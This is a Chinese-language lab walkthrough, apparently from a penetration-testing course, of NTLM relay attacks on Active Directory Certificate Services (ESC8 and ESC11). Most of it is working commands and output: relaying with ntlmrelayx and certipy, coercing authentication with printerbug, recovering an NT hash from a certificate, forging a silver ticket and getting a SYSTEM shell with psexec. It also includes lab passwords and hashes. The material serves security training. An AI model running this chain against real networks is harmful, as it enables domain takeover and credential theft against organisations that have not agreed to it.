针对 AD CS 的NTLM 中继攻击
1. NTLM Relay on ADCS
Active Directory 证书服务 ( AD CS ) 是微软 Public Key Infrastructure ( PKI ) 的实现,旨在管理组织网络内的数字证书。AD AD CS 提供多种服务,包括用于安全通信的证书颁发、数字签名和加密。
ADCS支持多种注册方式,包括基于 HTTP 的注册,允许用户通过 HTTP 请求和获取证书
我们可以将 HTTP NTLM 身份验证转发到证书注册接口与CA服务进行交互,请求CA证书
1.1. 枚举
1.1.1. nxc的ADCS模块
可以用nxc的ADCS模块进行枚举
nxc ldap 172.16.117.3 -u plaintext$ -p 'o6@ekK5#rlw2rAe' -M adcs -o SERVER=INLANEFREIGHT-DC01-CA
SMB 172.16.117.3 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
LDAP 172.16.117.3 389 DC01 [+] INLANEFREIGHT.LOCAL\plaintext$:o6@ekK5#rlw2rAe
ADCS Using PKI CN: INLANEFREIGHT-DC01-CAADCS 172.16.117.3 389 DC01 [*] Starting LDAP search with search filter '(distinguishedName=CN=INLANEFREIGHT-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS Found Certificate Template: DirectoryEmailReplication
ADCS Found Certificate Template: DomainControllerAuthentication
ADCS Found Certificate Template: KerberosAuthentication
ADCS Found Certificate Template: EFSRecovery
ADCS Found Certificate Template: EFS
ADCS Found Certificate Template: DomainController
ADCS Found Certificate Template: WebServer
ADCS Found Certificate Template: MachineADCS Found Certificate Template: User
ADCS Found Certificate Template: SubCA
ADCS Found Certificate Template: Administrator
- PKI 注册服务器为
INLANEFREIGHT-DC01-CA Machine模板已经启用
1.1.2. certipy
certipy find -enabled -u 'plaintext$'@172.16.117.3 -p 'o6@ekK5#rlw2rAe' -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via RRP
[*] Got CA configuration for 'INLANEFREIGHT-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : INLANEFREIGHT-DC01-CA
DNS Name : DC01.INLANEFREIGHT.LOCAL
Certificate Subject : CN=INLANEFREIGHT-DC01-CA, DC=INLANEFREIGHT, DC=LOCAL
Certificate Serial Number : 110830E19B30B89546FA6D338A2C42DD
Certificate Validity Start : 2023-07-12 14:05:58+00:00
Certificate Validity End : 2028-07-12 14:15:57+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Disabled
Permissions
Owner : INLANEFREIGHT.LOCAL\Administrators
Access Rights
ManageCertificates : INLANEFREIGHT.LOCAL\Administrators
INLANEFREIGHT.LOCAL\Domain Admins
INLANEFREIGHT.LOCAL\Enterprise Admins
ManageCa : INLANEFREIGHT.LOCAL\Administrators
INLANEFREIGHT.LOCAL\Domain Admins
INLANEFREIGHT.LOCAL\Enterprise Admins
Enroll : INLANEFREIGHT.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
2. ESC8
要利用ESC8,需要满足一下两个条件
- 存在易受攻击的Web注册端点
- 至少启用了一个允许域内计算机注册和客户端身份验证的证书模板(比如默认的
Machine/Computer模板)
2.1. 攻击流程
- 强制认证:强制一个计算机账户(Machine Account)发起身份验证。
- 中继请求:将该认证请求中继到 AD CS 的 Web 注册接口。
- 获取证书:从而获得一个允许“客户端身份验证”的数字证书。
- 权限维持/提升:最后,利用该证书伪造白银票据
2.2. 枚举Web端点是否支持NTLM认证
certipy显示目标存在ESC8漏洞,但我们仍然需要确保 Web 注册端点可以接受 HTTP NTLM身份验证,因为管理员可能会故意禁用NTLM身份验证,并替换为协商(Negotiate)Kerberos
我们可以使用cURL 或 NTLMRecon进行确认,
curl -I http://172.16.117.3/certsrv/
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: NegotiateWWW-Authenticate: NTLMX-Powered-By: ASP.NET
Date: Fri, 11 Aug 2023 20:52:44 GMT
从结果输出可以发现目标是使用的NTLM认证,可以进行中继攻击
此外也可以使用 NTLMRecon 对Web 端点进行模糊测试
./NTLMRecon -t http://172.16.117.3/ -o json | jq
{
"url": "http://172.16.117.3/CertSrv/",
"ntlm": {
"netbiosComputerName": "DC01",
"netbiosDomainName": "INLANEFREIGHT",
"dnsDomainName": "INLANEFREIGHT.LOCAL",
"dnsComputerName": "DC01.INLANEFREIGHT.LOCAL",
"forestName": "INLANEFREIGHT.LOCAL"
}
}
2.3. 利用ntlmrelayx进行攻击
2.3.1. ntlmrelayx中继
要利用 ESC8 漏洞,我们可以使用 ntlmrelayx 或 certipy ,以及 PKINIT 工具或 ADCSKiller 我们将使用前两者以及 PKINIT 工具,首先是 ntlmrelayx
在ntlmrelayx中使用http://172.16.117.3/certsrv/certfnsh.asp来作为我们的中继目标,这是DC上的HTTP Web 注册端点
ntlmrelayx.py -t http://172.16.117.3/certsrv/certfnsh.asp -smb2support --adcs --template Machine
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
-smb2support:我们会强制受害者向我们攻击机进行SMB NTLM身份验证--adcs:执行ADC中继攻击--template:目标模板(这里使用Machine模板),如果不加此参数,ntlmrelayx会根据结尾是否有$来自动选择Machine或User模板。如果是中继域控制器的 NTLM 身份验证,必须显式指定DomainController模板
2.3.2. printerbug.py执行强制SMB NTLM身份认证
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30
[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid.
[*] Triggered RPC backconnect, this may or may not have worked
成功后ntlmrelayx 将通过 HTTP 将其转发到 Web 注册端点,并返回 WS01$ 的 base64 编码证书
[*] SMBD-Thread-5: Received connection from 172.16.117.50, attacking target http://172.16.117.3
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://172.16.117.3 as INLANEFREIGHT/WS01$ SUCCEED
[*] SMBD-Thread-7: Connection from 172.16.117.50 controlled, but there are no more targets left!
[*] SMBD-Thread-8: Connection from 172.16.117.50 controlled, but there are no more targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 14
[*] Base64 certificate of user WS01$:
MIIRPQIBAzCCEPcGCSqGSIb3DQEHAaCCEOgEghDkMIIQ4DCCBxcGCSqGSIb3DQEHBqCCBwgwggcEAgEAMI<SNIP>U6EWbi/ttH4BAjUKtJ9ygRfRg==
2.3.3. base64解码为.pfx文件
echo -n "MIIRPQIBAzCCEPcGCSqGSIb3DQEHAaCCEOgEghDkMIIQ4DCCBxcGCSqGSIb3DQEHBqCCBwgwggcEAgEAMI<SNIP>U6EWbi/ttH4BAjUKtJ9ygRfRg==" | base64 -d > ws01.pfx
2.3.4. 使用 gettgtpkinit.py 请求 TGT 和 AS-REP 加密密钥
现在我们将使用 PKINITtools 中的 gettgtpkinit.py,通过证书文件与域控制器进行交互。
gettgtpkinit.py 将使用 .PFX 文件请求一个 TGT,并打印出 AS-REP 加密密钥,稍后运行 getnthash.py 会用到这个
python3 gettgtpkinit.py -dc-ip 172.16.117.3 -cert-pfx ws01.pfx 'INLANFREIGHT.LOCAL/WS01$' ws01.ccache
2023-08-13 08:30:26,255 minikerberos INFO Loading certificate and key from file
2023-08-13 08:30:26,723 minikerberos INFO Requesting TGT
2023-08-13 08:30:36,451 minikerberos INFO AS-REP encryption key (you might need this later):
2023-08-13 08:30:36,451 minikerberos INFO 917ec3b9d13dfb69e42ee05e09a5bf4ac4e52b7b677f1b22412e4deba644ebb2
2023-08-13 08:30:36,456 minikerberos INFO Saved TGT to file
gettgtpkinit.py还提供-pfx-base64选项,允许直接以字符串形式传递 Base64 编码的证书
2.3.5. 使用 getnthash.py 获取 WS01$ 的 NT 哈希值
利用 getnthash.py脚本,通过TGT和AS-REP 加密密钥获取NTLM哈希,
它通过 Kerberos U2U协议为 WS01$ 提交 TGS请求;接收到的 TGS 将包含特权属性证书 (PAC),其中就含有 WS01$ 的 NT 哈希值,不过是以加密形式存在的。我们可以使用AS-REP 加密密钥解出NT 哈希
KRB5CCNAME=ws01.ccache python3 getnthash.py 'INLANEFREIGHT.LOCAL/WS01$' -key 917ec3b9d13dfb69e42ee05e09a5bf4ac4e52b7b677f1b22412e4deba644ebb2
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
3d3a72af94548ebc7755287a88476460
这种操作在RBCD on SPN-less users中有演示
2.3.6. 伪造白银票据
首先获取域SID
lookupsid.py 'INLANEFREIGHT.LOCAL/WS01$'@172.16.117.3 -hashes :3d3a72af94548ebc7755287a88476460
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra
[*] Brute forcing SIDs at 172.16.117.3
[*] StringBinding ncacn_np:172.16.117.3[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1207890233-375443991-2397730614
<SNIP>
然后用impacket-ticketer伪造白银票据
ticketer.py -nthash 3d3a72af94548ebc7755287a88476460 -domain-sid S-1-5-21-1207890233-375443991-2397730614 -domain inlanefreight.local -spn cifs/ws01.inlanefreight.local Administrator
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for inlanefreight.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
2.3.7. psexec
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass ws01.inlanefreight.local
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra
[*] Requesting shares on ws01.inlanefreight.local.....
[*] Found writable share ADMIN$
[*] Uploading file Txqmfqxx.exe
[*] Opening SVCManager on ws01.inlanefreight.local.....
[*] Creating service MPbs on ws01.inlanefreight.local.....
[*] Starting service MPbs.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>
2.4. 利用Certipy进行攻击
我们还可以用certipy进行攻击,这种方式可以节省一些步骤,
2.4.1. certipy进行relay
certipy relay -target "http://172.16.117.3" -template Machine
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting http://172.16.117.3/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
relay:指定ADCS的IP-template:指定模板- 如果要强制DC执行中继,我们需要使用
DomainController模板
2.4.2. printerbug.py 强制进行身份验证
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30
[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked
等待一会,获取到了ws01.pfx
certipy relay -target "http://172.16.117.3" -template Machine
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting http://172.16.117.3/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
INLANEFREIGHT\WS01$
[*] Requesting certificate for 'INLANEFREIGHT\\WS01$' based on the template 'Machine'
[*] Got certificate with DNS Host Name 'WS01.INLANEFREIGHT.LOCAL'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ws01.pfx'[*] Exiting...
然后使用auth参数吧证书传给DC获取目标的NT LM哈希
certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: ws01$@inlanefreight.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ws01.ccache'
[*] Trying to retrieve NT hash for 'ws01$'
[*] Got hash for 'ws01$@inlanefreight.local': aad3b435b51404eeaad3b435b51404ee:3d3a72af94548ebc7755287a88476460
3. ESC11
ESC11 ,其针对ADCS 的 ICPR 接口(一个负责处理证书申请的底层 RPC 通道)。如果 CA没有强制要求 RPC 通信必须加密(即未开启 IF_ENFORCEENCRYPTICERTREQUEST 标志),攻击者就可以把截获的受害者身份“转发”给这个接口。
IF_ENFORCEENCRYPTICERTREQUEST:强制要求客户端与 CA之间的所有证书注册请求必须经过加密。
- 开启(默认):要求所有连接到ICPR 接口 的请求必须是加密的。(如果开启这个加密强制措施,Windows XP 客户端将无法申请证书,因为它们不支持这种加密请求)
- 关闭:允许不加密的 RPC 请求。
管理员可以使用 certutil 手动取消设置 IF_ENFORCEENCRYPTICERTREQUEST 标志
C:\Users\Administrator>certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\INLANEFREIGHT-DC01-CA\InterfaceFlags:
Old Value:
InterfaceFlags REG_DWORD = 641 (1601)
IF_LOCKICERTREQUEST -- 1
IF_NOREMOTEICERTADMINBACKUP -- 40 (64)
IF_ENFORCEENCRYPTICERTREQUEST -- 200 (512)
IF_ENFORCEENCRYPTICERTADMIN -- 400 (1024)
New Value:
InterfaceFlags REG_DWORD = 441 (1089)
IF_LOCKICERTREQUEST -- 1
IF_NOREMOTEICERTADMINBACKUP -- 40 (64)
IF_ENFORCEENCRYPTICERTADMIN -- 400 (1024)
CertUtil: -setreg command completed successfully.
The CertSvc service may need to be restarted for changes to take effect.
3.1.1. Certipy中继 over RPC/ICPR
通过 RPC/ICPR(而不是 HTTP)来中继被强制触发的 SMB NTLM 身份验证
certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA"
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://172.16.117.3 (ESC11)
[*] Listening on 0.0.0.0:445
3.1.2. printerbug.py强制认证
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30
[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Triggered RPC backconnect, this may or may not have worked
certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA"
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://172.16.117.3 (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:172.16.117.3[135] to determine ICPR stringbinding
[*] Attacking user 'WS01$@INLANEFREIGHT'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'WS01$' with template 'Machine'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 14
[*] Got certificate with DNS Host Name 'WS01.INLANEFREIGHT.LOCAL'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ws01.pfx'
[*] Exiting...